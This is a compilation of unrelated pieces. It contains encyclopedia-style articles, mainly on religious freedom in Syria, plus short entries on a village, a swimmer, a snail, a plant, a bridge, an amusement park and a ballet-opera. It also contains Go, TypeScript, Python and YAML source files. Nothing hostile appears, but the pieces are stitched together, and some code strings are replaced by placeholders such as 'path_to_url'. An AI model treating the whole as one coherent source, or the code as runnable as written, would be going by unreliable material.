Conversion to Islam is similarly regarded as private affair with one significant difference. Rule No. 212 of the Personal Status Act of 1953 holds that when a Muslim woman marries a non-Muslim man, Islam is offered to the husband. Moreover, the same rule reads, if he becomes Muslim his change in faith, it is written down in their marriage contract. But if he declines, the judge should keep them apart. In cases other than interfaith relationships, the act of conversion to Islam is not state institutionalized. Moreover, it is prohibited by Islamic fatwa to change religion once a person has converted to Islam. Conversion from a Christian sect to another Christian sect or Islam, while legal, is also problematic. Negative implications are felt on one's social ties including relations with family, friends and acquaintances. Patriarch Ignatius IV expressed his aversion to community members who adopt the faith of another Christian rite, by stating:
There are new sects coming from Europe and America to Syria. As long as they are of Christian faith they are subject to few limitations. From the Greek-Orthodox point of view we dislike them, because not only are they involved in missionary work, but divide us as a Christian community. We are fully against any division, we want to stay visible. Our belief is that Jesus comes from Bethlehem, and not from London or New York.
Understanding Syrian ideals
To the Swiss scholar Marcel Stüssi, the inherent difficulty with regard to Syrian religious freedom lies in the circumstance that the Western reader is required to reset some, but not all, knowledge on Western values unless she or he wants to be trapped by specific modes of thinking. While in the West, fairness means that the state protects a more or less autonomous society in which individuals are free to form a variety of allegiances and bonds of solidarity along any lines they choose (leisure, political, religious, cultural, racial, sexual etc.), in the Near East the justice system requires the state to assure that the individual is related to the religious community as part of a larger organism.
Situation of minority groups
Membership in the Syrian Muslim Brotherhood is illegal, as is membership in any organization accused to be "Salafist", a designation in the Assad government's parlance to denote Saudi-inspired fundamentalism. The Syrian government and the State Security Court have not defined the exact parameters of what constitutes a Salafist or why it is illegal. Affiliation with the Syrian Muslim Brotherhood is punishable by death, although in practice the sentence is typically commuted to 12 years imprisonment.
All religions, religious orders, political groups, parties, and news organizations must register with the government, which monitors fund raising and requires permits for all religious and non-religious group meetings; with the exception of worship. The registration process is complicated and lengthy, but the government usually allows groups to operate informally while awaiting its response. This was re-affirmed in the 2012 constitution.
There is a de facto separation of religion and state in that the Syrian government generally refrains from involvement in strictly religious matters and religious groups tend not to participate in internal political affairs. However, Syria has increased its support for the practice and study of government-sanctioned, moderate forms of Islam, and Syrian state radio also began broadcasting the dawn and afternoon Muslim prayers, in addition to its traditional broadcast of noon prayers. Syrian state television also broadcasts recitations from the Qur'an in the morning.
Syria permits the use of religious language in public spaces, including the placement of banners bearing religious slogans at the site of prominent public landmarks during religious holidays. However, there have been no recent examples of prominent religious figures addressing government functions.
Syria's government policy officially disavows sectarianism of any kind, although religion can be a key factor in determining career opportunities. For example, Alawites hold dominant positions in the security services and military that are extremely disproportionate to their percentage of the population. Also, Jehovah's Witnesses are discriminated against in the area of employment as their religion is banned as a "politically motivated Zionist organization".
The April 2007 parliamentary elections for the Syrian Peoples Assembly saw an increase in the number of Islamic clerics elected to the Parliament from one in 2003 to three.
The government promotes Islamic banking. In early 2007 two Islamic banks were allowed to conduct initial public offerings: The Cham Islamic Bank and the Syria International Islamic Bank.
Syrian regime is intolerant of, and suppresses, what it deems as extremist and conservative forms of Islam. Accordingly, it selects what they believe to be "moderate Muslims" for religious leadership positions. These people typically have no intention of altering the secular nature of the government and are highly supportive of Assad . Ahmad Badreddin Hassoun, the Grand Mufti of Syria, continued to call on Muslims to stand up to Islamic fundamentalism and has urged leaders of the various religious groups to engage in regular dialogues for mutual understanding.
All schools are officially government-run and non-sectarian, although in practice some schools are run by the Christian and Druze communities. There is mandatory religious instruction in schools for all religious groups, with government-approved teachers and curriculum. Religious instruction is provided on Islam and Christianity only, and courses are divided into separate classes for Muslim and Christian students. Groups that participate in Islamic courses include Sunni, Shi'a, Alawi, Ismaili, Yezidi, and Druze. Although Arabic is the official language in public schools, the government permits the teaching of Armenian, Hebrew, and Aramaic in some schools on the basis that these are "liturgical languages." There is no mandatory religious study at the university level.
Religious groups are subject to their respective religious laws for matters dealing with personal status. Syria has not yet passed legislation pertaining to personal status issues for Orthodox Christians.
A new Civil Law for Catholics went into effect in 2006. It contains strict rules on the order of inheritance with regard to the relatives of the deceased, as well as on the jurisdiction of Christian courts. Additionally, there are laws that establish the legal marriage age and prohibit some instances of mixed marriage for Catholics, according to AsiaNews, the official press agency of the Roman Catholic Pontifical Institute for Foreign Missions. The law gives the bishop of a diocese and the Christian courts expanded authority to determine the validity of an adoption. The new law also clarifies parental rights and inheritance rules between adopting parents and the adopted child. The Catholic leadership generally received the law positively.
Syrian law specifically provides for reduced or commuted sentences in "honor crimes", which involve violent assaults by a direct male relative against a female. Section 548 of the Syrian penal code stipulates that a man can be absolved of any killing if he witnesses a direct female relative in the act of adultery. Moreover, a man's sentence for murder will be greatly reduced if he sees a direct female relative in a "suspicious situation" with a member of the opposite sex who is not a relative.
Under Syria's interpretation of Shari'a, the legal standard for men to be granted a divorce is much lower than that for women. Husbands may also claim adultery as grounds for divorce, while wives often face a higher legal standard when presenting the same case. A man can only be found guilty of adultery if the act takes place inside the home. If a wife requests a divorce from her husband, she may be denied alimony and the return of her dowry in some instances.
In the event of divorce, a woman loses the right to custody of her sons when they reach the age of 13, and her daughters when they reach the age of 15, regardless of religion. Women can also lose custody before this age if they remarry, work outside the home, or move outside of the city or country. In such cases the custody of the children reverts to the maternal grandmother until the age of 13 and 15 respectively. After that, custody reverts to the father until the children reach the age of majority.
Inheritance for all citizens except Catholics is based on Shari'a. Accordingly, married women usually are granted half the inheritance share male heirs receive. In all communities, however, male heirs must provide financial support to unmarried female relatives who inherit less. For example, a brother would inherit his and his unmarried sister's share from their parents' estate, and he is obligated to provide for the sister's well-being with that inheritance. If the brother fails to do so, she has the right to sue. Polygamy is legal for Muslim men but is practised only by a minority of them.
The Syrian government generally does not prohibit links between its citizens and co-religionists in other countries or between its citizens and the international hierarchies that govern some religious groups. It does however prohibit contact between the Jewish community and Jews in Israel.
The following holy days are national holidays: Western Christmas, Orthodox and Western Easter, Eid al-Adha, Eid al-Fitr, the Islamic New Year, and the Birth of the Prophet Muhammad.
Restrictions on religious freedom
In 2007, Syria licensed the so-called Quabasis to hold their female-only Islamic study groups inside of mosques. Until then, they were held in private homes. Some regard the licensing as a cynical attempt by the security services to make it easier to monitor the Quabasis rather than to help facilitate their activities. However, Quabasis groups were still allowed to meet in private residences.
Proselytism is not prohibited by civil law; however, the government discourages it as a potential threat to the relations among religious groups. Nevertheless, foreign missionaries were present; operating discreetly. There were no reported cases of anyone being prosecuted for posing a threat to the relations among religious groups in recent years. Instead, there were several reports that Syria gave the Shi'a favorable treatment and allowed Shi'a missionaries to construct mosques and convert Sunnis to Shiites.
All groups, religious and non-religious, are subject to surveillance and monitoring by government security services. The Government particularly considers militant Islam a threat to the government and closely follows the practice of its adherents. While the Syrian government allows many mosques to be built, in 2022 it monitored and controled sermons and often closes mosques between prayers.
Religious minorities, with the exception of Jews, are represented among the senior officer corps. In keeping with the Syria's secular policy, though, the military does not have a chaplain corps; members of the military do not have direct access to religious or spiritual support; and soldiers are expected not to express their faith overtly during work hours. For example, Muslims are discouraged from praying while on duty. Syria canceled an Islamic religious program that had been broadcast just before the major weekly prayers were shown on government-run television. On April 20, 2007, the son of the late Grand Mufti, Sheikh Salah Khuftaro, in a speech at the Abu Nur Islamic Center, denounced the Information Minister for this decision.
Since 2000, Protestant Christians are also victims of a renewed state-led clampdown on its churches and religious services. The regime's policies target both foreign-affiliated religious organisations as well as independent regional churches and religious educational centres.
Abuses of religious freedom
Before the 2011 revolution, European diplomats and human rights organizations around the world characterized the level of repression against alleged Islamists as consistent throughout the years, with discrimination neither increasing nor decreasing. Some religious leaders insisted they faced increased repression at the hands of the Syrian government, however.
Human rights organizations documented the arrest of at least 30 persons for alleged ties to Islamist groups. The Government rarely furnishes documentation on the number of detained persons. Human rights groups have reported on the amount Syrians who have been arrested or detained for alleged ties to Islamist groups in previous years but whose detention have not been confirmed nor denied by the government.
Since 2007, the Syrian Supreme State Security Court has sentenced at least 22 alleged Islamists to lengthy prison sentences.
Syria continues to hold an unknown number of members of the Muslim Brotherhood and other Islamists as political detainees and prisoners. Many alleged Islamists not connected to the Muslim Brotherhood have been charged and convicted for membership in a Salafist organization. Arrests of alleged Islamists and, in some cases, convictions, were motivated primarily by the Syrian government's view of militant Islamists as potential threats to government stability.
Syrian Jews
In 2007, the small Jewish community was prohibited from sending historical Torahs abroad under a law against exporting any of the country's historical and cultural treasures, leading to concerns about the preservation of its ancient religious texts. In 2020, the Jewish Chronicle reported that there were no known Jews left in Syria.
Improvements and positive developments in respect for religious freedom
On June 24, 2007, Syrian Grand Mufti Sheikh Ahmad Badreddin Hassoun called on Jews of Syrian origin to return to Syria, claiming that the property and synagogues of Jews who left Syria remained as they were and would be placed at the disposal of their original owners. There have been no noticeable increase of Jews in Syria since, with no change in the discrimination and barring from the work force that those of the Jewish faith.
On 14 March 2007, during a lecture at Damascus University, Syrian Grand Mufti Sheikh Ahmad Badreddin Hassoun called for amending the laws that allow honor killings, which he said violate the Islamic spirit of the law.
Religious freedom since the revolution
Since the uprising began in Syria, the country has grown increasingly sectarian, with a sharp divide between Alawites and Shia fundamentalist groups generally supporting the government, and Sunni Muslims and Palestinian refugees generally supporting the Free Syrian Army. The presence of Jews in Syria is almost non-existent, and they have not played a significant role in the revolution. Syrian Sunnis became subject to relentless persecution and discrimination from the Alawite dominated Baathist apparatus; since the party associates them of being linked with the Syrian opposition. As a result, Syria's Sunni community has endured vast majority of the brutalities, ethnic cleansing, massacres and other war crimes perpetrated by the Syrian Arab Army and pro-Assad Alawite militias throughout the course of the deadly Syrian Civil War.
Societal abuses and discrimination
There have been occasional reports of minor tensions between religious groups, mainly attributable to economic rivalries rather than religious affiliation.
In March 2007 there were reports of riots in Al-Hasakah Governorate between Christians and predominantly Muslim Kurds. There were reports of three deaths. It was unclear whether there was any religious basis to the conflict.
No official statistics were kept on honor crimes, but there were scattered reports of them in the local media. Most prominent was the case of Zahra Ezzo. On January 31, 2007, Ezzo was murdered by her brother after being kidnapped and forced to run away by a friend of the family. The incidence of honor crimes is believed to be considerably higher in rural areas.
Social conventions and religious and theological proscriptions made conversion relatively rare, especially Muslim-to-Christian conversion. In many cases, societal pressure forced such converts to relocate within the country or leave the country to practice their new religion openly.
Banning of head and face coverings
On 21 July 2010, the government in Damascus ordered the banning of face-covering niqab in public and private universities amid fears of increasing Islamic extremism among young Muslim students; with hundreds of teachers wearing niqabs were transferred out of Syrian schools and universities and reassigned to administrative jobs, where they would not come into contact with students. In October 2022, large protests were held in northeastern Syria in the areas controlled by the Syrian Democratic Forces (SDF) following the imposition of a ban on students donning the niqab and called for the ban to be ended.
References
Further reading
Sectarianism in Syria (Survey Study), The Day After (TDA) 2016
Marcel Stüssi Models of Religious Freedom: Switzerland, the United States, and Syria by Analytical, Methodological, and Eclectic Representation, 375 ff. (Lit 2012)., by Marcel Stüssi, research fellow at the University of Lucerne.
Protecting and Promoting Religious Freedom in Syria United States Commission on International Religious Freedom
Syria 2012 International Religious Freedom Report United States Department of State
US State Dept 2022 report
Syria
Human rights in Syria
Religion in Syria
|
Kand Saban (, also Romanized as Kondes Bon; also known as Kajarestāq and Kojā Rūstā) is a village in Garmab Rural District, Chahardangeh District, Sari County, Mazandaran Province, Iran. At the 2006 census, its population was 20, in 7 families.
References
Populated places in Sari County
|
Michał Rokicki (31 March 1984 – 20 December 2021) was a Polish swimmer, who specialized in freestyle events. He represented his nation Poland at the 2008 Summer Olympics, and also served as a member of the swimming team throughout his sporting career for AZS Warszawa, under the tutelage of his personal coach Paweł Slominski.
Rokicki competed as a member of the Polish team in the freestyle relay at the 2008 Summer Olympics in Beijing. Despite missing out the individual spot in the 200 m freestyle, Rokicki managed to finish with a twenty-sixth-place time in 1:50.12 at the 2007 FINA World Championships in Melbourne, Australia to earn a selection on the Polish relay team for the Games. Teaming with Łukasz Gąsior, Łukasz Wójt, and Przemysław Stańczyk on the outside lane in heat two, Rokicki swam the third leg with a split of 1:51.14, before the Polish foursome went on to take the seventh spot and fourteenth overall in a final time of 7:18.09.
Rokicki died on 20 December 2021, at the age of 37.
References
External links
NBC Olympics Profile
1984 births
2021 deaths
Olympic swimmers for Poland
People from Racibórz County
Polish male freestyle swimmers
Sportspeople from Silesian Voivodeship
Swimmers at the 2008 Summer Olympics
21st-century Polish people
|
```go
package repoutils
import (
"fmt"
"strings"
"github.com/docker/cli/cli/config"
clitypes "github.com/docker/cli/cli/config/types"
"github.com/docker/distribution/reference"
"github.com/docker/docker/api/types"
"github.com/sirupsen/logrus"
)
const (
// DefaultDockerRegistry is the default docker registry address.
DefaultDockerRegistry = "path_to_url"
latestTagSuffix = ":latest"
)
// GetAuthConfig returns the docker registry AuthConfig.
// Optionally takes in the authentication values, otherwise pulls them from the
// docker config file.
func GetAuthConfig(username, password, registry string) (types.AuthConfig, error) {
if username != "" && password != "" && registry != "" {
return types.AuthConfig{
Username: username,
Password: password,
ServerAddress: registry,
}, nil
}
dcfg, err := config.Load(config.Dir())
if err != nil {
return types.AuthConfig{}, fmt.Errorf("loading config file failed: %v", err)
}
// return error early if there are no auths saved
if !dcfg.ContainsAuth() {
// If we were passed a registry, just use that.
if registry != "" {
return setDefaultRegistry(types.AuthConfig{
ServerAddress: registry,
}), nil
}
// Otherwise, just use an empty auth config.
return types.AuthConfig{}, nil
}
authConfigs, err := dcfg.GetAllCredentials()
if err != nil {
return types.AuthConfig{}, fmt.Errorf("getting credentials failed: %v", err)
}
// if they passed a specific registry, return those creds _if_ they exist
if registry != "" {
// try with the user input
if creds, ok := authConfigs[registry]; ok {
c := fixAuthConfig(creds, registry)
return c, nil
}
// remove https:// from user input and try again
if strings.HasPrefix(registry, "https://") {
registryCleaned := strings.TrimPrefix(registry, "https://")
if creds, ok := authConfigs[registryCleaned]; ok {
c := fixAuthConfig(creds, registryCleaned)
return c, nil
}
}
// remove http:// from user input and try again
if strings.HasPrefix(registry, "http://") {
registryCleaned := strings.TrimPrefix(registry, "http://")
if creds, ok := authConfigs[registryCleaned]; ok {
c := fixAuthConfig(creds, registryCleaned)
return c, nil
}
}
// add https:// to user input and try again
// see path_to_url
if !strings.HasPrefix(registry, "https://") && !strings.HasPrefix(registry, "http://") {
registryCleaned := "https://" + registry
if creds, ok := authConfigs[registryCleaned]; ok {
c := fixAuthConfig(creds, registryCleaned)
return c, nil
}
}
logrus.Debugf("Using registry %q with no authentication", registry)
// Otherwise just use the registry with no auth.
return setDefaultRegistry(types.AuthConfig{
ServerAddress: registry,
}), nil
}
// Just set the auth config as the first registryURL, username and password
// found in the auth config.
for _, creds := range authConfigs {
fmt.Printf("No registry passed. Using registry %q\n", creds.ServerAddress)
c := fixAuthConfig(creds, creds.ServerAddress)
return c, nil
}
// Don't use any authentication.
// We should never get here.
fmt.Println("Not using any authentication")
return types.AuthConfig{}, nil
}
// fixAuthConfig overwrites the AuthConfig's ServerAddress field with the
// registry value if ServerAddress is empty. For example, config.Load() will
// return AuthConfigs with empty ServerAddresses if the configuration file
// contains only an "credsHelper" object.
func fixAuthConfig(creds clitypes.AuthConfig, registry string) (c types.AuthConfig) {
c.Username = creds.Username
c.Password = creds.Password
c.Auth = creds.Auth
c.Email = creds.Email
c.IdentityToken = creds.IdentityToken
c.RegistryToken = creds.RegistryToken
c.ServerAddress = creds.ServerAddress
if creds.ServerAddress == "" {
c.ServerAddress = registry
}
return c
}
// GetRepoAndRef parses the repo name and reference.
func GetRepoAndRef(image string) (repo, ref string, err error) {
if image == "" {
return "", "", reference.ErrNameEmpty
}
image = addLatestTagSuffix(image)
var parts []string
if strings.Contains(image, "@") {
parts = strings.Split(image, "@")
} else if strings.Contains(image, ":") {
parts = strings.Split(image, ":")
}
repo = parts[0]
if len(parts) > 1 {
ref = parts[1]
}
return
}
// addLatestTagSuffix adds :latest to the image if it does not have a tag
func addLatestTagSuffix(image string) string {
if !strings.Contains(image, ":") {
return image + latestTagSuffix
}
return image
}
func setDefaultRegistry(auth types.AuthConfig) types.AuthConfig {
if auth.ServerAddress == "docker.io" {
auth.ServerAddress = DefaultDockerRegistry
}
return auth
}
```
|
```xml
import { ComponentProps } from 'react';
import EthereumApp from '@ledgerhq/hw-app-eth';
import { simpleRender, waitFor } from 'test-utils';
import SignTransaction from '@features/SendAssets/components/SignTransaction';
import { fTxConfig } from '@fixtures';
import { translateRaw } from '@translations';
import { WalletId } from '@types';
import { getHeader } from './helper';
const defaultProps: ComponentProps<typeof SignTransaction> = {
txConfig: {
...fTxConfig,
senderAccount: {
...fTxConfig.senderAccount,
address: '0x31497f490293cf5a4540b81c9f59910f62519b63',
wallet: WalletId.LEDGER_NANO_S
}
},
onComplete: jest.fn()
};
const getComponent = () => {
return simpleRender(<SignTransaction {...defaultProps} />);
};
jest.mock('@ledgerhq/hw-transport-u2f');
describe('SignTransactionWallets: Ledger', () => {
beforeEach(() => {
jest.useFakeTimers();
jest.setTimeout(60000);
});
it('Can handle Ledger signing', async () => {
const { getByText } = getComponent();
const selector = getHeader(WalletId.LEDGER_NANO_S);
expect(getByText(selector)).toBeInTheDocument();
await waitFor(
() =>
expect(defaultProps.onComplete).toHaveBeenCalledWith(
your_sha256_hashyour_sha256_hashyour_sha256_hashcfcd089a95ec6e7d9674604b'
),
{ timeout: 60000 }
);
});
it('shows error message', async () => {
// @ts-expect-error Not overwriting all functions
(EthereumApp as jest.MockedClass<typeof EthereumApp>).mockImplementation(() => ({
signTransaction: jest.fn().mockRejectedValue(new Error('foo')),
getAddress: jest.fn().mockResolvedValue({ address: fTxConfig.senderAccount.address })
}));
const { getByText } = getComponent();
await waitFor(
() =>
expect(
getByText(translateRaw('SIGN_TX_HARDWARE_FAILED_1'), { exact: false })
).toBeInTheDocument(),
{ timeout: 60000 }
);
});
});
```
|
```python
import numpy as np
import tensorflow as tf
def build_shared_network(X, add_summaries=False):
"""
Builds a 3-layer network conv -> conv -> fc as described
in the A3C paper. This network is shared by both the policy and value net.
Args:
X: Inputs
add_summaries: If true, add layer summaries to Tensorboard.
Returns:
Final layer activations.
"""
# Three convolutional layers
conv1 = tf.contrib.layers.conv2d(
X, 16, 8, 4, activation_fn=tf.nn.relu, scope="conv1")
conv2 = tf.contrib.layers.conv2d(
conv1, 32, 4, 2, activation_fn=tf.nn.relu, scope="conv2")
# Fully connected layer
fc1 = tf.contrib.layers.fully_connected(
inputs=tf.contrib.layers.flatten(conv2),
num_outputs=256,
scope="fc1")
if add_summaries:
tf.contrib.layers.summarize_activation(conv1)
tf.contrib.layers.summarize_activation(conv2)
tf.contrib.layers.summarize_activation(fc1)
return fc1
class PolicyEstimator():
"""
Policy Function approximator. Given a observation, returns probabilities
over all possible actions.
Args:
num_outputs: Size of the action space.
reuse: If true, an existing shared network will be re-used.
trainable: If true we add train ops to the network.
Actor threads that don't update their local models and don't need
train ops would set this to false.
"""
def __init__(self, num_outputs, reuse=False, trainable=True):
self.num_outputs = num_outputs
# Placeholders for our input
# Our input are 4 RGB frames of shape 160, 160 each
self.states = tf.placeholder(shape=[None, 84, 84, 4], dtype=tf.uint8, name="X")
# The TD target value
self.targets = tf.placeholder(shape=[None], dtype=tf.float32, name="y")
# Integer id of which action was selected
self.actions = tf.placeholder(shape=[None], dtype=tf.int32, name="actions")
# Normalize
X = tf.to_float(self.states) / 255.0
batch_size = tf.shape(self.states)[0]
# Graph shared with Value Net
with tf.variable_scope("shared", reuse=reuse):
fc1 = build_shared_network(X, add_summaries=(not reuse))
with tf.variable_scope("policy_net"):
self.logits = tf.contrib.layers.fully_connected(fc1, num_outputs, activation_fn=None)
self.probs = tf.nn.softmax(self.logits) + 1e-8
self.predictions = {
"logits": self.logits,
"probs": self.probs
}
# We add entropy to the loss to encourage exploration
self.entropy = -tf.reduce_sum(self.probs * tf.log(self.probs), 1, name="entropy")
self.entropy_mean = tf.reduce_mean(self.entropy, name="entropy_mean")
# Get the predictions for the chosen actions only
gather_indices = tf.range(batch_size) * tf.shape(self.probs)[1] + self.actions
self.picked_action_probs = tf.gather(tf.reshape(self.probs, [-1]), gather_indices)
self.losses = - (tf.log(self.picked_action_probs) * self.targets + 0.01 * self.entropy)
self.loss = tf.reduce_sum(self.losses, name="loss")
tf.summary.scalar(self.loss.op.name, self.loss)
tf.summary.scalar(self.entropy_mean.op.name, self.entropy_mean)
tf.summary.histogram(self.entropy.op.name, self.entropy)
if trainable:
# self.optimizer = tf.train.AdamOptimizer(1e-4)
self.optimizer = tf.train.RMSPropOptimizer(0.00025, 0.99, 0.0, 1e-6)
self.grads_and_vars = self.optimizer.compute_gradients(self.loss)
self.grads_and_vars = [[grad, var] for grad, var in self.grads_and_vars if grad is not None]
self.train_op = self.optimizer.apply_gradients(self.grads_and_vars,
global_step=tf.contrib.framework.get_global_step())
# Merge summaries from this network and the shared network (but not the value net)
var_scope_name = tf.get_variable_scope().name
summary_ops = tf.get_collection(tf.GraphKeys.SUMMARIES)
sumaries = [s for s in summary_ops if "policy_net" in s.name or "shared" in s.name]
sumaries = [s for s in summary_ops if var_scope_name in s.name]
self.summaries = tf.summary.merge(sumaries)
class ValueEstimator():
"""
Value Function approximator. Returns a value estimator for a batch of observations.
Args:
reuse: If true, an existing shared network will be re-used.
trainable: If true we add train ops to the network.
Actor threads that don't update their local models and don't need
train ops would set this to false.
"""
def __init__(self, reuse=False, trainable=True):
# Placeholders for our input
# Our input are 4 RGB frames of shape 160, 160 each
self.states = tf.placeholder(shape=[None, 84, 84, 4], dtype=tf.uint8, name="X")
# The TD target value
self.targets = tf.placeholder(shape=[None], dtype=tf.float32, name="y")
X = tf.to_float(self.states) / 255.0
# Graph shared with Value Net
with tf.variable_scope("shared", reuse=reuse):
fc1 = build_shared_network(X, add_summaries=(not reuse))
with tf.variable_scope("value_net"):
self.logits = tf.contrib.layers.fully_connected(
inputs=fc1,
num_outputs=1,
activation_fn=None)
self.logits = tf.squeeze(self.logits, squeeze_dims=[1], name="logits")
self.losses = tf.squared_difference(self.logits, self.targets)
self.loss = tf.reduce_sum(self.losses, name="loss")
self.predictions = {
"logits": self.logits
}
# Summaries
prefix = tf.get_variable_scope().name
tf.summary.scalar(self.loss.name, self.loss)
tf.summary.scalar("{}/max_value".format(prefix), tf.reduce_max(self.logits))
tf.summary.scalar("{}/min_value".format(prefix), tf.reduce_min(self.logits))
tf.summary.scalar("{}/mean_value".format(prefix), tf.reduce_mean(self.logits))
tf.summary.scalar("{}/reward_max".format(prefix), tf.reduce_max(self.targets))
tf.summary.scalar("{}/reward_min".format(prefix), tf.reduce_min(self.targets))
tf.summary.scalar("{}/reward_mean".format(prefix), tf.reduce_mean(self.targets))
tf.summary.histogram("{}/reward_targets".format(prefix), self.targets)
tf.summary.histogram("{}/values".format(prefix), self.logits)
if trainable:
# self.optimizer = tf.train.AdamOptimizer(1e-4)
self.optimizer = tf.train.RMSPropOptimizer(0.00025, 0.99, 0.0, 1e-6)
self.grads_and_vars = self.optimizer.compute_gradients(self.loss)
self.grads_and_vars = [[grad, var] for grad, var in self.grads_and_vars if grad is not None]
self.train_op = self.optimizer.apply_gradients(self.grads_and_vars,
global_step=tf.contrib.framework.get_global_step())
var_scope_name = tf.get_variable_scope().name
summary_ops = tf.get_collection(tf.GraphKeys.SUMMARIES)
sumaries = [s for s in summary_ops if "policy_net" in s.name or "shared" in s.name]
sumaries = [s for s in summary_ops if var_scope_name in s.name]
self.summaries = tf.summary.merge(sumaries)
```
|
```yaml
auto_save: false
display_label_popup: true
store_data: true
keep_prev: false
keep_prev_scale: false
keep_prev_brightness: false
keep_prev_contrast: false
logger_level: info
flags: null
label_flags: null
labels: null
file_search: null
sort_labels: true
validate_label: null
default_shape_color: [0, 255, 0]
shape_color: auto # null, 'auto', 'manual'
shift_auto_shape_color: 0
label_colors: null
shape:
# drawing
line_color: [0, 255, 0, 128]
fill_color: [0, 0, 0, 64]
vertex_fill_color: [0, 255, 0, 255]
# selecting / hovering
select_line_color: [255, 255, 255, 255]
select_fill_color: [0, 255, 0, 64]
hvertex_fill_color: [255, 255, 255, 255]
point_size: 8
ai:
default: 'EfficientSam (accuracy)'
# main
flag_dock:
show: true
closable: true
movable: true
floatable: true
label_dock:
show: true
closable: true
movable: true
floatable: true
shape_dock:
show: true
closable: true
movable: true
floatable: true
file_dock:
show: true
closable: true
movable: true
floatable: true
# label_dialog
show_label_text_field: true
label_completion: startswith
fit_to_content:
column: true
row: false
# canvas
epsilon: 10.0
canvas:
fill_drawing: true
# None: do nothing
# close: close polygon
double_click: close
# The max number of edits we can undo
num_backups: 10
# show crosshair
crosshair:
polygon: false
rectangle: true
circle: false
line: false
point: false
linestrip: false
ai_polygon: false
ai_mask: false
shortcuts:
close: Ctrl+W
open: Ctrl+O
open_dir: Ctrl+U
quit: Ctrl+Q
save: Ctrl+S
save_as: Ctrl+Shift+S
save_to: null
delete_file: Ctrl+Delete
open_next: [D, Ctrl+Shift+D]
open_prev: [A, Ctrl+Shift+A]
zoom_in: [Ctrl++, Ctrl+=]
zoom_out: Ctrl+-
zoom_to_original: Ctrl+0
fit_window: Ctrl+F
fit_width: Ctrl+Shift+F
create_polygon: Ctrl+N
create_rectangle: Ctrl+R
create_circle: null
create_line: null
create_point: null
create_linestrip: null
edit_polygon: Ctrl+J
delete_polygon: Delete
duplicate_polygon: Ctrl+D
copy_polygon: Ctrl+C
paste_polygon: Ctrl+V
undo: Ctrl+Z
undo_last_point: Ctrl+Z
add_point_to_edge: Ctrl+Shift+P
edit_label: Ctrl+E
toggle_keep_prev_mode: Ctrl+P
remove_selected_point: [Meta+H, Backspace]
show_all_polygons: null
hide_all_polygons: null
toggle_all_polygons: T
```
|
Typhis westaustralis is a species of sea snail, a marine gastropod mollusk in the family Muricidae, the murex snails or rock snails.
Description
Distribution
References
Typhis
Gastropods described in 1991
|
Cheiridopsis purpurea is a species of succulent plant from South Africa. It is found growing in the succulent Karoo vegetation type.
Description
This small and robus clump-forming succulent grows tall with a diameter of up to . It often becomes raggedy with age. The triangular leaves are paired, with both leaves in each pair being about the same size ( long). Cultivated specimens may have three pairs of leaves per branch, while those in the wild have one or two pairs per branch. The leaves are fused when young, separating as they mature. They are grey-green in colour with slightly crimped margins and are spotted with transparent dots. They have a keel, which may or may not have teeth. The old leaves form persistent corky brown sheaths that protect new growth when they dry out and die.
Flowers are present between June and September. They are open between midday and sunset, closing for the night and morning. They have a diameter of about and are a bright magenta in colour. This species differs from others in this genus in that the petals do not fully unfold, but hide the stamens and feather stigmas. The anthers are grey.
This plant forms a cylindrical 10-locular fruit. They have stiff bristles at the tips of the expanding keels.
Distribution and habitat
This species is endemic to the Northern Cape of South Africa. It has a range of less than between Karrachab and Maerfontein in the Richtersveld region. It is found growing in crevices in quartzite bands in sandstone areas.
History and etymology
This species was first described in 1931 by Harriet Margaret Louisa Bolus. The scientific name refers to the colour of the flowers.
Ecology
This plant is pollinated by insects.
The capsules open when wet, releasing only a few seeds at a time. This ensures that seeds are still available should conditions be more favourable further down the line. This complex capsule is important in light of the relatively short lifespan of this species. It is beneficial to set seed whenever conditions may be suitable for new growth, while still holding out for times when conditions make it more likely that young plants survive.
Conservation
While this species is not currently threatened, it is considered to be rare by the South African National Biodiversity Institute due as it is a habitat specialist and has a small range. The combination of these two factors mean that it is not a common species, even if it is not yet uncommon enough or threatened enough to be considered at risk of extinction.
References
Plants described in 1931
Endemic flora of the Cape Provinces
Succulent plants
purpurea
|
The Ririe A Pegram Truss Railroad Bridge is a Pegram truss railroad bridge which crosses the Snake River north of Ririe, Idaho. The bridge, which carries a one-track section of the East Belt Branch, consists of two truss spans and is long by wide. The bridge was originally constructed for a crossing in Nyssa, Oregon in 1894 for the Union Pacific Railroad and was relocated to its current site in 1914, where it carried Oregon Short Line Railroad tracks. The bridge's Pegram truss design was the work of George H. Pegram, the chief engineer for Union Pacific; as Pegram held a patent on the design, all surviving Pegram truss bridges were commissioned during Pegram's tenure with the Union Pacific and Missouri Pacific railroads.
The bridge was added to the National Register of Historic Places on July 25, 1997.
See also
List of National Historic Landmarks in Idaho
National Register of Historic Places listings in Jefferson County, Idaho
Ririe B Pegram Truss Railroad Bridge, another Pegram truss bridge on the East Belt Branch
References
Bridges completed in 1894
National Register of Historic Places in Jefferson County, Idaho
Railroad bridges on the National Register of Historic Places in Idaho
Truss bridges in the United States
Union Pacific Railroad bridges
Relocated buildings and structures in Idaho
Oregon Short Line Railroad
Transportation in Jefferson County, Idaho
Pegram trusses
|
White City was an amusement park located at Lake Whatcom's Silver Beach in Bellingham, Washington.
White City opened in 1906 and closed in 1919. The park had a wooden roller coaster, plus a hotel, dance hall and an ice cream parlor. White City was named because of its "white" electric lights.
References
External links
Defunct amusement parks in the United States
Amusement parks in Washington (state)
1906 establishments in Washington (state)
1919 disestablishments in the United States
|
La tentation is a ballet-opera, a hybrid work in which both singers and dancers play major roles. It was premiered in 1832 in its original five-act form by the Paris Opéra at the Salle Le Peletier. Most of the music was by Fromental Halévy, and the libretto was by Edmond Cavé and Henri Duponchel. The choreography was by Jean Coralli, and the decor by a number of hands including Eduard Bertin, Eugène Lami, Camille Roqueplan and Paul Delaroche. After the first 29 performances, mostly separate acts were performed (either the first, second, or fourth) in conjunction with another work, although it was occasionally revived in its entirety in 1833, 1834, and 1835. In all, it was given complete 46 times, and as separate acts on 60 occasions.
Composition history
The format of La tentation is unusual, with both singers and dancers taking leading roles. The music for the opera sections was written by Halévy; that for the ballet portions by Halévy and Casimir Gide. The director of the Opéra, Louis Véron, wrote in his memoirs that, during the cholera epidemic in Paris;
I wished neither to make use of nor to jeopardize any of the important works of the repertory. We ... busied ourselves with ... rehearsals for La tentation. This five-act fairy tale was merely a series of tableaux, of which the chorus and the corps de ballet were the stars. [These] can always be replaced, and scenery, at least, never falls ill. La tentation ... was thus a work always in readiness for presentation.
